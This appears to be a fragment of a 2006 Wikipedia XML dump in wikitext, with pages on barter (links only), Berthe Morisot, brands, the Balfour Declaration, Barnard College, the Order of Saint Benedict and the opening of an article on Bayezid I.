* [[Business]]
* [[Commerce]]
* [[Hazel Henderson]]

==External links==
* [http://www.irs.gov/businesses/small/article/0,,id=113437,00.html United States Internal Revenue Service]
* [http://news.google.com/news?hl=en&amp;ned=&amp;q=barter&amp;btnG=Search+News Google News - Barter]
* [http://websearch.entrepreneur.com/cgi-bin/texis/webinator/newsearch/?pr=entrepreneur&amp;query=barter&amp;x=0&amp;y=0 Entrepreneur.com - Article Search - Barter]
* [http://www.fortune.com/fortune/search?query=barter&amp;publication_id=6&amp;Search.x=0&amp;Search.y=0&amp;Search=Go Fortune.com - Article Search - Barter]
* [http://www.irta.com/ International Reciprocal Trade Association]
* [http://www.nate.org/ National Association of Trade Exchanges]
* [http://www.ibabiz.com/ International Barter Alliance]
* [http://www.barternews.com/ BarterNews]
* [http://www.bizx.com/ BizXchange]
* [http://www.atxbarter.com/ ATX The Barter Company]
* [http://www.bartertrainer.com/ Barter Trainer]
* [http://www.barterzilla.com/ New Concept in Barter]
* [http://www.tbex.com/ TBEx The Business Exchange]
* [http://www.wtex.org/ The World Travel Exchange]   
* [http://www.u-exchange.com/barter101.asp How to Barter]  

[[Category:Business]]
[[Category:Commerce]]
[[Category:Alternative economy]]
[[category:Pricing]]
[[Category:Community currencies]]

[[bg:Бартер]]
[[cs:Barterový obchod]]
[[da:Byttehandel]]
[[de:Tauschhandel]]
[[es:Trueque]]
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[[sv:Byteshandel]]</text>
    </revision>
  </page>
  <page>
    <title>Berthe Morisot</title>
    <id>4233</id>
    <revision>
      <id>39188958</id>
      <timestamp>2006-02-11T09:18:34Z</timestamp>
      <contributor>
        <ip>82.127.196.250</ip>
      </contributor>
      <comment>[[eo:Berthe Morisot]]</comment>
      <text xml:space="preserve">[[Image:BertheMorisot.jpg|right|thumbnail|180px|Berthé Morisot in a portrait by [[Édouard Manet]], 1872]]
'''Berthe Morisot''' ([[January 14]], [[1841]] &amp;ndash; [[March 2]], [[1895]]) was an [[impressionist]] [[painter]].

Born in [[Bourges]], [[Cher (département)|Cher]], [[France]] into a successful bourgeois family who encouraged her and her sister [[Edma Morisot]] in their exploration of art, she demonstrated the possibilities for women artists in [[avant-garde]] art movements at the end of the [[19th century]]. Once Morisot settled on pursuing art, her family did not impede her career.

By age 20, she met and befriended the important landscape painter of the [[Barbizon school]], [[Camille Corot]], who introduced her to other artists and teachers. She took up [[plein air]] techniques and painted small pieces outdoors either as finished works or as studies for larger works completed in the studio.

Morisot's first acceptance in the [[Paris Salon|Salon de Paris]] came in [[1864]] with two landscape paintings, and she continued to show regularly in the Salon until [[1874]], the year of the first impressionist exhibition.

She was acquainted with [[Édouard Manet]] from [[1868]], and in [[1874]] she married Eugene Manet, Édouard's younger brother. She convinced Manet to attempt [[plein air]] painting, and drew him into the circle of acquaintance of the painters who became known as the impressionists. However, he never considered himself an impressionist or agreed to show with the group.

[[Image:BMorisot.JPG|left|thumbnail|256px|''L'Enfant au Tablier Rouge'']]

Morisot, along with [[Camille Pissarro]], was one of only two artists whose work exhibited in all of the original impressionist shows.

Like [[Mary Cassatt]], during her lifetime, Berthé Morisot was relegated to the category of &quot;feminine&quot; artists because of their usual subject matter &amp;mdash; women, children, and domestic scenes. However, as a doctrinaire impressionist, Morisot painted what she saw in her immediate, everyday life. As a woman securely in the &quot;haute bourgeoisie&quot; she saw domestic interiors, holiday spots, other women, and children. Without exception, her subject matter shows the equivalent of that of her impressionist colleagues. [[Edgar Degas]], the dandy male bourgeois, painted rehearsals of the ballet, horse races, and nude women in apartments (rather than studios). [[Claude Monet]] painted his garden, his children, and his neighbor's haystacks. Female impressionists painted their social milieu in a way consistent with the impressionist approach to subject matter. 

Berthé Morisot died on March 2, [[1895]] in [[Paris]] and was interred in the [[Cimetière de Passy]].

Today, her paintings can sell for more than [[United States dollar|$]]4 million.

&lt;br clear=&quot;all&quot; /&gt;

== See also ==

* [[Women artists]]

== External links ==

{{Commonscat|Berthe Morisot}}
* [http://www.ibiblio.org/wm/paint/auth/morisot/ Berthé Morisot] at the [[WebMuseum]]

[[Category:1841 births|Morisot, Berthé]]
[[Category:1895 deaths|Morisot, Berthé]]
[[Category:French painters|Morisot, Berthé]]
[[Category:Impressionist painters|Morisot, Berthé]]
[[Category:Women in art|Morisot, Berthé]]
[[Category:French women|Morisot, Berthé]]

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    </revision>
  </page>
  <page>
    <title>Brand</title>
    <id>4234</id>
    <revision>
      <id>41914966</id>
      <timestamp>2006-03-02T16:15:09Z</timestamp>
      <contributor>
        <username>Jkatzen</username>
        <id>201916</id>
      </contributor>
      <comment>/* External links */ new link isn't notable enough.  also removed linkspam.  list is still really long.</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:McDonalds.png|thumb|100px|[[McDonald's]], represented by the [[Golden Arches]], is one of the world's most famous brands]]

In ''[[marketing]]'', a '''brand''' is the [[symbolism|symbolic]] embodiment of all the information connected with a company, [[product (business)|product]] or [[service]]. A brand typically includes a name, [[logo]], and other visual elements such as [[image]]s, fonts, color schemes, or [[symbol]]s. It also encompasses the [[set]] of [[expectation]]s associated with a product or service which typically arise in the minds of people. Such people include employees of the brand owner, people involved with distribution, sale or supply of the product or service, and ultimately [[consumer]]s.  

In other contexts the term &quot;brand&quot; may be used where the legal term [[trademark]] is more appropriate.

==Concepts==

Some marketers distinguish the psychological aspect of a brand from the experiential aspect. The experiential aspect consists of the sum of all points of contact with the brand and is known as the '''brand experience'''. The psychological aspect, sometimes referred to as the '''brand image''', is a symbolic construct created within the minds of people and consists of all the information and expectations associated with a product or service. The unicist approach to brand building considers the conceptual structure of brands, businesses and people.

Marketers seek to develop or align the expectations comprising the brand experience through '''branding''', so that a brand carries the &quot;promise&quot; that a product or service has a certain quality or characteristic which make it special or unique. A brand image may be developed by attributing a &quot;personality&quot; to or associating an &quot;image&quot; with a product or service, whereby the personality or image is &quot;branded&quot; into the consciousness of consumers. A brand is therefore one of the most valuable elements in an [[advertising]] theme, as it demonstrates what the brand owner is able to offer in the [[marketplace]]. The art of creating and maintaining a brand is called [[brand management]]. You're creating the story.

A brand which is widely known in the marketplace acquires '''brand recognition'''. Where brand recognition builds up to a point where a brand enjoys a mass of positive sentiment in the marketplace, it is said to have achieved '''brand franchise'''.  One goal in brand recognition is the identification of a brand without the name of the company present.  [[The Walt Disney Company|Disney]] has been successful at branding with their particular script font (originally Walt Disney's signature, but later translated to go.com).

'''[[Brand equity]]''' measures the total value of the brand to the brand owner, and reflects the extent of brand franchise. The term '''brand name''' is often used interchangeably with &quot;brand&quot;, although it is more correctly used to specifically denote written or spoken linguistic elements of a brand. In this context a &quot;brand name&quot; constitutes a type of [[trademark]], if the brand name exclusively identifies the brand owner as the commercial source of products or services. A brand owner may seek to protect [[proprietary]] rights in relation to a brand name through trademark registration.

The act of associating a product or service with a brand has become part of [[pop culture]]. Most products have some kind of brand identity, from common [[edible salt|table salt]] to [[designer]] clothes. In non-commercial contexts, the marketing of entities which supply ideas or promises rather than product and services (eg. [[political party |political parties]] or religious organizations) may also be known as &quot;branding&quot;.

Consumers may look on branding as an important [[value added]] aspect of products or services, as it often serves to denote a certain attractive quality or characteristic. From the perspective of brand owners, branded products or services also command higher prices. Where two products resemble each other, but one of the products has no associated branding (such as a [[generic]], store-branded product), people may often select the more expensive branded product on the basis of the quality of the brand or the reputation of the brand owner.

Advertising spokespersons have also become part of some brands, for example:  [[Mr. Whipple]] of [[Charmin]] toilet tissue and [[Tony the Tiger]] of [[Kellogg Company | Kellogg]]&amp;#8217;s.

==History==

Brands in the field of marketing originated in the [[19th century]] with the advent of packaged [[good (accounting) | goods]]. [[Industrialization | Industrialization]] moved the production of many household items, such as soap, from local communities to centralized [[factory | factories]]. When shipping their items, the factories would literally [[Livestock_branding | brand]] their logo or insignia on the barrels used, which is where the term comes from.

These factories, generating mass-produced goods, needed to sell their products to a wider market, to a customer base familiar only with local goods. It quickly became apparent that a generic package of soap had difficulty competing with familiar, local products. The packaged goods manufacturers needed to convince the market that the public could place just as much trust in the non-local product.

Around [[1900]], [[James Walter Thompson]] published a house ad explaining trademark advertising. This was an early commercial explanation of what we now know as branding.

Many brands of that era, such as [[Uncle Ben's]] rice and [[Kellogg Company | Kellogg's]] breakfast cereal furnish illustrations of the problem. The manufacturers wanted their products to appear and feel as familiar as the local farmers' produce. From there, with the help of advertising, manufacturers quickly learned to associate other kinds of brand values, such as youthfulness, fun or luxury, with their products. This kickstarted the practice we now know as branding.

Modern branding practices are studied and analyzed at research institutes such as the [[Zyman Institute of Brand Science]] at the Goizueta  Business School at Emory University.

[http://www.historyofbranding.com/ History of Branding]

==Examples of well known brand names==
''[[Business Week]]'' magazine publishes an annual &quot;brand scorecard&quot; of the [[100 Best Global Brands|top 100 most valuable brands worldwide]]. Some results from the [[2005]] survey, which contained 53 American, 37 European, 7 Japanese, and 3 South Korean brands, are listed below. 

The European breakdown is as follows: 9 German, 8 French, 5 Swiss, 4.5 British, 4 Italian, 3.5 Dutch, 1 Finnish, 1 Spanish, and 1 Swedish

===United States Of America===
*[[American Express]] ([[credit card]])
*[[Apple Computer|Apple]] ([[computer]])
*[[Citi]] ([[banking]])
*[[Coca-Cola]] ([[soft drink]])
*[[The Walt Disney Company|Disney]] ([[entertainment]])
*[[Ford Motor Company]] ([[automobile]]s)
*[[GE]] ([[household appliances]])
*[[Gillette]] ([[shaving]] accessories)
*[[Google]] ([[internet]])
*[[Heinz]] ([[food]])
*[[IBM]] ([[computer]])
*[[Intel]] ([[computer]])
*[[KFC]] ([[fast food]] [[restaurant]])
*[[Levi's]] ([[clothing]] retailer)
*[[Marlboro (cigarette)|Marlboro]] ([[tobacco]])
*[[McDonald's Corporation|McDonald's]] ([[fast food]] [[restaurant]])
*[[Microsoft]] ([[software]])
*[[Nike,_Inc.|Nike]] ([[footwear]])
*[[Pepsi]] ([[soft drink]])
*[[Starbucks]] ([[coffee]])
*[[Harley Davidson]] ([[motorcycles]])

===Europe===
*[[BMW]] ([[automobile]]&amp;mdash;[[Germany]])
*[[Volkswagen]] ([[automobile]]&amp;mdash;[[Germany]])
*[[Mercedes-Benz]] ([[automobile]]&amp;mdash;[[Germany]])
*[[UBS AG|UBS]] ([[banking]]&amp;mdash;[[Switzerland]])
*[[HSBC]] ([[banking]]&amp;mdash;[[United Kingdom|UK]])
*[[Jarlsberg]] ([[cheese]]&amp;mdash;[[Norway]])
*[[Philips]] ([[electronics]]&amp;mdash;[[Netherlands]])
*[[Nestlé]] (food&amp;mdash;[[Switzerland]])
*[[IKEA]] ([[furniture]]&amp;mdash;[[Sweden]])
*[[Ekornes]] ([[furniture]]&amp;mdash;[[Norway]])
*[[MMA]] ([[insurance]] [[France]])
*[[Louis Vuitton]] ([[leather]] goods and luxury apparel&amp;mdash;[[France]])
*[[Chanel]] (luxury apparel&amp;mdash;[[France]])
*[[Gucci]] (luxury apparel&amp;mdash;[[Italy]])
*[[Nokia]] ([[mobile phones]]&amp;mdash;[[Finland]])
*[[Helly Hansen]] ([[Outdoor Gear]]&amp;mdash;[[Norway]])
*[[BP]] ([[petrol]]&amp;mdash;[[United Kingdom|UK]])
*[[SAP AG|SAP]] ([[software]]&amp;mdash;[[Germany]])

===Japan===
*[[Canon (company)|Canon]] ([[photography]])
*[[Honda]] ([[automobile]]s)
*[[Matsushita]] ([[electronics]])
*[[Nintendo]] ([[video games]])
*[[Nissan Motors|Nissan]] ([[automobile]]s)
*[[Sony]] ([[electronics]])
*[[Toyota]] ([[automobile]]s)

===South Korea===
*[[Hyundai]] ([[automobile]]s)
*[[LG]] ([[electronics]])
*[[Samsung]] ([[electronics]] and [[mobile phones]])

== Criticisms of branding ==
Criticism has been leveled against the concept and implementation of brands, much of it associated with the &quot;[[antiglobalization]]&quot; movement. One of the better known criticisms of branding is found in [[Naomi Klein]]'s book, ''[[No Logo]].'' The book claims that corporations' brands serve as structures for corporations to hide behind, and that such global problems as sweatshop labor and environmental degradation have been permitted and exacerbated by branding.

Criticism of branding also comes from within corporations, with some employees becoming frustrated by being limited by overall brand strategies that restrict what they can say, how they say it, and what [[Pantone]] colour to say it in. Some shareholders also have concerns about the amount of money invested in branding.

Skepticism toward branding has also grown in parts of the marketing community since the end of the dotcom boom, though for a very different reason: in many ways, branding has failed to live up to its promise.

In addition, the value of the brand itself is hard to quantify because it is intangible in nature. In cases where this value is significant, it allows the company to manipulate its accounting reports around this issue.

== See also ==
*[[Logo]]
*[[Logo extraction puzzles]]
[[Category:Marketing]]
[[Category:Advertising]]
[[Category:Branding]]
[[Category:Commerce]]

==Bibliography==
*Miller &amp; Muir (2004) ''The Business of Brands'', ISBN 0470862599 - Examines how brands can create value for businesses
*Olins, W (2003) ''On Brand'', London: Thames and Hudson, ISBN 0500511454
*Schmidt, Klaus; Ludlow,Chris (2002) &quot;Inclusive Branding: The why and how of a holistic approach to brands&quot;, Basingstoke: Palgrave Macmillan, ISBN 0333980794
*Wernick, Andrew (1991)	&quot;Promotional Culture: Advertising, Ideology and Symbolic Expression (Theory, Culture &amp; Society S.)&quot;, London: Sage Publications Ltd, ISBN 0803983905

==External links==
* [http://www.historyofbranding.com/ History of Branding] - learning the history of how today's most powerful brands evolved
*[http://www.brandstrategy.co.uk/ Brand Strategy] - monthly global business title covering every aspect of brand and business strategy
*[http://bwnt.businessweek.com/brand/2002/index.asp BusinessWeek 2002 Global Brands Scorecard]
* [http://www.code-interactive.com/thinker/a112.html What Makes A Great Logo] - Commentary on various logos and brands.
* [http://www.logoterra.com Logo Design Services Directory] - List of logo design companies.
*[http://www.monochrom.at/markenzeichnen/index-eng.htm Brandmarker] - The art group [[monochrom]]'s attempt to evaluate the actual power of commercial brands by making people draw famous logos from memory.
* [http://www.websters-online-dictionary.org/browse/tradenames/ Trade Names] in [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
* [http://www.globalizationinstitute.org/blog/0502_pro_logo.php I like Brands] on the [http://www.globalisationinstitute.org/ Globalisation Institute] website
* [http://www.economist.com/displaystory.cfm?story_id=770992 Who's wearing the trousers?] - [[The Economist]]'s defence of brands
* [http://www.brandinggreece.com BrandingGreece.com] - Branding a country: Greece
* [http://www.transnationale.org Transnational brands] - Information Brands
* [http://www.dinarstandard.com/rankings/ds100/DS100Brands.htm Leading Consumer Brands from the Muslim World]
* [http://users.ncrvnet.nl/mstol/55.htm Resources for corporate identity packages]

[[Category:Brands| ]]
[[Category:Graphic design]]
[[Category:Branding]][[Category:Marketing]]

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    <title>Buffy The Vampire Slayer television show</title>
    <id>4235</id>
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        <username>Brion VIBBER</username>
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      <comment>Bypass redirect</comment>
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  <page>
    <title>Balfour Declaration</title>
    <id>4236</id>
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      <comment>replace irrelevant fact by relevant one.</comment>
      <text xml:space="preserve">The name '''Balfour Declaration''' is applied to two key [[United Kingdom|British]] government policy statements associated with [[Conservative Party (UK)|Conservative]] statesman and former Prime Minister [[Arthur Balfour]]. 

*The first and most known, is the [[Balfour Declaration, 1917|Balfour Declaration of 1917]]: An official letter from the British [[Secretary of State for Foreign Affairs|Foreign Office]] headed by [[Arthur Balfour]], the UK's official [[Secretary of State for Foreign Affairs|Foreign Secretary]] (from December 1916 to October 1919), to [[Walter Rothschild, 2nd Baron Rothschild|Lord Rothschild]], who was seen as a representative of the Jewish people. The letter stated that the British government &quot;view[ed] with favour the establishment in  [[British Mandate of Palestine|Palestine]] of a national home for the Jewish people&quot;.

*The second, lesser-known, [[Balfour Declaration, 1926|Balfour Declaration of 1926]], recognised the self-governing [[Dominion]]s of the [[British Empire]] as fully autonomous states.

==See also==
*[[Balfour|Balfour (disambiguation)]] 


{{disambig}}</text>
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  <page>
    <title>Barnard College</title>
    <id>4237</id>
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      <id>41925092</id>
      <timestamp>2006-03-02T17:38:56Z</timestamp>
      <contributor>
        <ip>65.82.125.162</ip>
      </contributor>
      <comment>/* Notable Alumnæ */</comment>
      <text xml:space="preserve">{{Infobox_University 
|motto           = Hepomene toi logismoi
|name            = Barnard College, Columbia University 
|image           = [[Image:Barnard College.GIF]] 
|established     = 1889 
|type            = Private 
|endowment       = $150 million (as of 2001)
|president       = [http://www.barnard.columbia.edu/president/ Judith R Shapiro]
|city            = [[New York City]] 
|state           = [[New York|NY]] 
|country         = [[United States|USA]] 
|campus          = Urban
|undergrad       = 2,297 
|postgrad        = 
|staff           = 296 
|mascot          = the Barnard Bear, Millie 
|free_label      = Athletics 
|free            = [http://www.barnard.columbia.edu/admiss/athletics/ Official site] 
|website         = [http://www.barnard.columbia.edu] 
|}}


'''Barnard College''', founded in [[1889]], is an [[independent college]] of [[liberal arts]] and sciences for women, located in the borough of [[Manhattan]], in [[New York, New York]], [[United States]]. Barnard is affiliated with [[Columbia University]], but maintains an independent [[campus]], faculty, administration, trustees, operating budget, and endowment, although there is much overlap. 

The four acre (16,000&amp;nbsp;m²) campus is adjacent to Columbia's [[Morningside Heights]] campus, and has been used by Barnard since [[1898]]. The neighborhood is sometimes called the [[Academic Acropolis]] because it is mostly on a hill, and is the location of [[Bank Street College of Education]], [[Columbia University]], [[Jewish Theological Seminary]], [[Manhattan School of Music]], [[Teachers College (Columbia University)]], and [[Union Theological Seminary]].
   
==General Information==
Barnard's original 1889 home was a rented [[brownstone]] at 343 Madison Avenue, where a faculty of six offered instruction to 14 students in the School of Arts, as well as to 22 “specials,” who lacked the entrance requirements in Greek and so enrolled in science.  In [[1900]], Barnard affiliated with [[Columbia University]], but it continued to be independently governed, while making available to its students the instruction, the library, and the degree of the University. Under the terms of the affiliation, Columbia University actually awards degrees to graduates of Barnard College.  Barnard College, in fact, was created for the female students of the University, which traditionally admitted only men.

The College gets its name from [[Frederick A.P. Barnard]] ([[1809]]-89), an American educator and mathematician, who served as then-Columbia College's president from [[1864]] to 1889.  Frederick Barnard advocated equal educational privileges for men and women (but preferably in a coeducational setting).  The school's founding, however, is largely due to the determined efforts of  [http://www.columbia.edu/~rr91/3567/sample_biographies/annie_nathan_meyer_McCaughey.htm Annie Nathan Meyer], a talented student and writer who was not satsified with what she saw as Columbia's half-hearted, token effort to educate women.

Meyer later wrote: &quot;I confess to a pride in having defended the affiliated college at a time when it was neither popular or understood. To me nothing in the education of women mattered so much as the creation of right standards, and this was effected by the establishment of the affiliated college. My faith was surely justified, for in 1891 I was happy to proclaim (to the Council of Women in Washington) as an established fact: 'Barnard College is Columbia.'&quot;

Barnard College was one of the [[Seven Sisters (colleges)|Seven Sisters]] founded to provide an education for women comparable to that of the [[Ivy League]] schools, which (with the exception of [[Cornell University]] and the [[University of Pennsylvania]]) only admitted men for undergraduate study into the [[1960s]]. Barnard was the sister school of Columbia College, one of the [[undergraduate]] schools of Columbia University.  Columbia College began admitting women in 1983 after a decade of failed negotiations with Barnard for a [[merger]] along the lines of [[Harvard College]] and [[Radcliffe College]]. Today, Barnard is one of five Seven Sisters that remain single-sex in admissions.  The school's classes and activities, however, are open to all members of Columbia University, male or female, in a [http://www.barnard.columbia.edu/about/columbia.html reciprocal arrangement] to benefit the academic and social life of the entire University community. Nevertheless, some Columbia students and alumnae are unhappy with Barnard's association with Columbia University. As a result, Barnard students are a regular jest for Columbia students. Popular points of insult include the relative intelligence of a Barnard girl vs. a Columbia girl, the &quot;easiness&quot; of Barnard girls, and the typical Barnard girl's eagerness to associate herself with the Columbia name.

==Notable Alumnæ==
* [[Elsie Clews Parsons]] 1896, first woman elected President of the [[American Anthropological Association]].
* [[Freda Kirchwey]] 1915, journalist, editor and publisher of [[The Nation (U.S. periodical)|The Nation]].
* [[Léonie Adams]], 1923, poet
* [[Margaret Mead]] 1923, anthropologist, writer
* [[Zora Neale Hurston]] 1928, Harlem Renaissance writer
* [[Patricia Highsmith]] 1940, writer
* [[Helen M. Ranney]] 1941, first woman to lead a university department of medicine in the United States, to be president of the Association of American Physicians, or to serve as a Distinguished Physician of the Veterans Administration
* [[Jeane Kirkpatrick]] 1948, first woman to serve as U.S. Ambassador to the United Nations
* [[Peggy McCay]] 1951, actress
* [[Miriam Goldman Cedarbaum]] 1952, Manhattan U.S. District Court Judge presiding over Martha Stewart's trial
* [[Francine du Plessix Gray]] 1952, writer
* [[Joan Rivers]] 1954
* [[Judith Kaye]] 1958, first woman chief judge of the State of New York
* [[Martha Stewart]] 1963, home and living media empress
* [[Twyla Tharp]] 1963, choreographer, dancer
* [[Erica Jong]] 1963, writer
* [[Laurie Anderson]] 1969, musician, NASA's first artist-in-residence
* [[Sarah Charlesworth]] 1969, photographer and conceptual artist
* [[Judith Miller (journalist)]] 1969, writer, Pulitzer winner
* [[Ntozake Shange]] 1970, writer
* [[Anna Quindlen]] 1974, author and columnist for Newsweek, who won the Pulitzer Prize for commentary in 1992
* [[Jacqueline Barton]] 1974, CalTech chemist and MacArthur Grant winner
* [[Suzanne Bilello]] 1977, author who with Rose Marie Arce 1986 was a member of a Newsday team in 1992 that shared the Pulitzer for spot news reporting.
* [[Natalie Angier]] 1978, author and science writer for The New York Times, who won the Pulitzer prize for beat reporting in 1991
* [[Robin Wagner]] 1980, figure-skating coach
* [[Suzanne Vega]] 1981, singer, songwriter
* [[Jeanine Tesori]] 1983, Broadway composer 
* [[Maria Hinojosa]] 1984, CNN Correspondent and host of NPR's Latino USA.
* [[Lauren Graham]] 1988, actress, plays Lorelai Gilmore on the TV show ''[[Gilmore Girls]]''
* [[Cynthia Nixon]] 1988, actor
* [[Janna Levin]] 1988, cosmologist
* [[Jhumpa Lahiri]] 1989, writer, Pulitzer winner
* [[Ann Brashares]] 1989, writer- The Sistorhood of the Traveling Pants
* [[Edwidge Danticat]] 1990, writer
* [[Atoosa Rubenstein]] 1993, founder of CosmoGirl! and editor-in-chief of [[Seventeen (magazine)]].  Youngest ever editor of a teen magazine.
* [[Sharon Blynn]] 1993, creator of &quot;Bald Is Beautiful&quot; campaign, cancer awareness advocate
* [[Stacey Borgman]] 1993, 2004 Olympic crew team
* [[Erinn Smart]] 1901, 2004 Olympic fencer
* [[Sprague Grayden]] actress, played Judith Montgomery on ''[[Joan of Arcadia]]''
* [[Naomi Foner]]

==See also==
* [[List of Columbia University people]]

==References==
* [[Helen Lefkowitz Horowitz|Horowitz, Helen Lefkowitz]]. '''Alma Mater: Design and Experience in the Women's Colleges from Their Nineteenth-Century Beginnings to the 1930s'''. Amherst: University of Massachusetts Press, 1993 (2nd edition).

==External links==
* [http://www.barnard.columbia.edu/ Barnard College, Columbia University]
* [http://www.barnard.columbia.edu/about/facts.html About Barnard]
* [http://www.barnard.columbia.edu/opir/ Barnard College Fact Book]
* Barnard's [http://www.barnard.columbia.edu/writers/index.html Books Etc.]
* [http://www.barnard.columbia.edu/academics/cur.html Graduation Requirements]
* [http://cusj.columbia.edu/ Columbia Undergraduate Science Journal (CUSJ)]
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  <page>
    <title>Order of Saint Benedict</title>
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      <text xml:space="preserve">''This article is about the Roman Catholic order; see also [[Benedictine Confederation]] and [[Benedictine]].''

[[Image:Benedikt-von-nursia 1-500x600.jpg|thumb|right|St Benedict of Nursia (c. 480-543), detail from a [[fresco]] by [[Fra Angelico]], [[Saint Mark's Basilica|San Marco]], [[Florence]] (c. [[1400]]-[[1455]]).]]
The '''Order of Saint Benedict''' &amp;mdash; full [[Latin]] name: ''Ordo Sancti Benedicti'' , initials: '''OSB''' &amp;mdash; is a [[monastic]] [[order (religious)|order]] within the [[Roman Catholic Church]], sometimes referred to as the '''Benedictine Order''', where the [[Rule of St Benedict]] is observed, supplemented by later constitutions and modern customaries.  The monastery at [[Monte Cassino]] in Italy established by Saint [[Benedict of Nursia]] ca 529 was the first of the Benedictine monasteries. 

The order is fundamentally different from other Western religious orders:  there is no legal entity within the Church called the &quot;Order of St Benedict&quot;, run on similar lines with other Roman Catholic religious orders with their [[Generalate]]s and [[Superior General of the Society of Jesus|Superiors General]].  Rather, the various [[autonomous]] Houses (that is, communities) have formed themselves loosely into Congregations (for example, Cassinese, English, Solesmes, Subiaco, Camaldolese, Sylvestrines) that in turn are represented in the [[Benedictine Confederation]]. 

The Order of Saint Benedict does not include [[Benedictine]]s who are not Roman Catholic.

Benedictine monks, nowadays also referred to as brothers (monastic [[men]]) and nuns (monastic [[women]]) profess the three Benedictine Vows of ''Stability'' (to remain in the monastery), of ''Conversion of Manners'', and of ''Obedience'' (to the superior) in accordance with ch. 58.17 of the Rule of [[Saint]] [[Benedict of Nursia]]. Benedictines who are not members of the Consecrated Life (''i.e.'', [[Oblate (religion)|Oblate]]s) nevertheless endeavour to embrace the spirit of the Benedictine Vows in their own life in the world.

Within the Order of Saint Benedict, other orders that use the Rule of Saint Benedict and are generally considered to be of the Benedictine tradition are the [[Cistercian]]s, [[Bernardines]], and [[Benedictine Sisters of Grace and Compassion]], although these are not part of the [[Benedictine Confederation]].

The Benedictine motto is: ''pax'' (Latin: &quot;peace&quot;), traditionally also ''ora et labora'' (Latin: &quot;pray and work&quot;).



==See also==
*[[Abbey of Cluny]], a reformed abbey strictly adhering to the Rule.
*[[Camaldolese]] 
*[[Sylvestrines]]
*[[Cistercian]] 
*[[Trappists]] 
*[[Capuchin]]
*[[Franciscan]] 
*[[Autpert Ambrose]]

*[[Mont Saint Michel]]

==Further reading==

*Dom Columba Marmion OSB, ''Christ the Ideal of the Monk &amp;ndash; Spiritual Conferences on the Monastic and Religious Life'' (Engl. edition London 1926, trsl. from the French by a nun of Tyburn Convent).

==Benedictines in popular culture and fiction==

* A stage play based on a book by Hugh Whitemore, ''The Best of Friends'', provides a window on the friendships of Dame Laurentia McLachlan, OSB (late Abbess of Stanbrook) with Sir Sydney Cockerell and George Bernard Shaw through adaptations from their letters and writings.
* The film &quot;In This House of Brede&quot; (1975, TV), with Dame [[Diana Rigg]] in the lead role, presents a portrayal of the progress of a fictitious postulant.  The film was inspired by the 1969 novel of the same name written by Rumer Godden.
* Perhaps the most famous Benedictine monk in all fictiondom is [[Brother Cadfael]]. ([[Friar Tuck]] does not qualify for this distinction, as he was a [[Franciscan]].)  [[Edith Pargeter]], writing under the pen name Ellis Peters, created the character of Brother Cadfael as the [[detective]] [[hero]] of her series of [[medieval]] [[crime fiction|murder mysteries]] known as ''The Cadfael Chronicles''.
* Although the protagonist is a Franciscan, the [[Umberto Eco]] [[novel]] ''[[The Name of the Rose]]'' is set in a fictional Benedictine monastery in [[Italy]].
* Samples of [[Chant|chanting]] Benedictine monks were used in the song ''I'm Dying'' by [[V.A.S.T.]], from their album ''[[Visual Audio Sensory Theater]]''.
* Joseph Knecht, the protagonist of [[Hermann Hesse]]'s novel ''[[The Glass Bead Game]]'', is sent as an ambassador of sorts to a Benedictine abbey for his first assignment.

==External links==
* [http://www.newadvent.org/cathen/02443a.htm Catholic Encyclopedia entry for ''The Benedictine Order'']
* [http://www.osb-international.info/ ''Confoederatio Benedictina Ordinis Sancti Benedicti'', the Benedictine Confederation of congregations]

*'''Benedictine Abbeys &amp; Monasteries:'''
** [http://www.sjasc.edu/ Saint Joseph Abbey &amp; Seminary College ''Benedictine Monks In Saint Benedict, Louisiana'']
** [http://www.osb.org/ Official website of St John's Abbey]
** [http://www.the-abbey.org/ Official website of Nakili O Lani Abbey]
** [http://www.glenstal.org/ Official website of Glenstal Abbey, Ireland]
** [http://www.benedictinesisters.org/ Benedictine Sisters] - Benedictine Sisters of Perpetual Adoration in Clyde, Missouri, USA
** [http://www.kansasmonks.org/ Kansas Monks] - Official website of St. Benedict's Abbey in Atchison, Kansas, USA
** [http://www.mountosb.org/ Benedictine Sisters of Mount St. Scholastica] - Official website of Mount St. Scholastica in Atchison, Kansas, USA

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  <page>
    <title>Bayezid I</title>
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      <minor />
      <comment>Corrected link to disambiguation page. ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">[[Image:Beyazid I.jpg|frame|Bayezid I]]

''' Bayezid I ''' ([[Turkish language|Turkish]]: ''Bayezıt'', nicknamed ''Yıldırım'', &quot;the Thunderbolt&quot;; [[Arabic language|Arabic]]: بايزيد الأول; ca [[1354]]&amp;ndash;[[1403]]) was the [[sultan]] of the [[Ottoman Empire]] from [[1389]] to [[1402]]. He ascended to the throne following the assassination of his father [[Murad I]] and immediately had his younger brother [[Yakub]] strangled to prevent him from staging a coup. 

In revenge for the assassination of [[Murad I]] in the first [[Battle of Kosovo]], Bayezid massacred the [[Serbian]] prisoners responsible. He then took as a wife the daughter of the [[King]] of [[Serbia]], allying himself with Serbs and enabling his offspring to claim [[Serbia]] as a dynastic privilege. He appointed  [[Stephen Bulcovic]] as [[Serbian]] leader, and granted [[Serbia]] considerable autonomy. After this victory he started drinking alcohol but stopped after social unrest about his conduct.

In [[1391]] Bayezid laid siege to [[Constantinople]], the capital of the [[Byzantine empire]]. On the demand of the [[Byzantine]] emperor [[John V Palaeologus]] a new [[crusade]] was organized to defeat him. This proved unsuccessful: in [[1396]] the [[Christianity|Christian]] allies, under the leadership of the [[Hungary|Hungarian]] King and [[Holy Roman Emperor]] [[Sigismund, Holy Roman Emperor|Sigismund]], were defeated in the [[Battle of Nicopolis]]. The siege of [[Constantinople]] thus continued, lasting until [[1401]]. At one point, the Emperor even fled from the city. Salvation for the [[Byzantine empire]], assaulted by Bayezid's Ottomans, came unexpectedly from the [[Mongol]] declaration of war on [[Bayezid]]. 

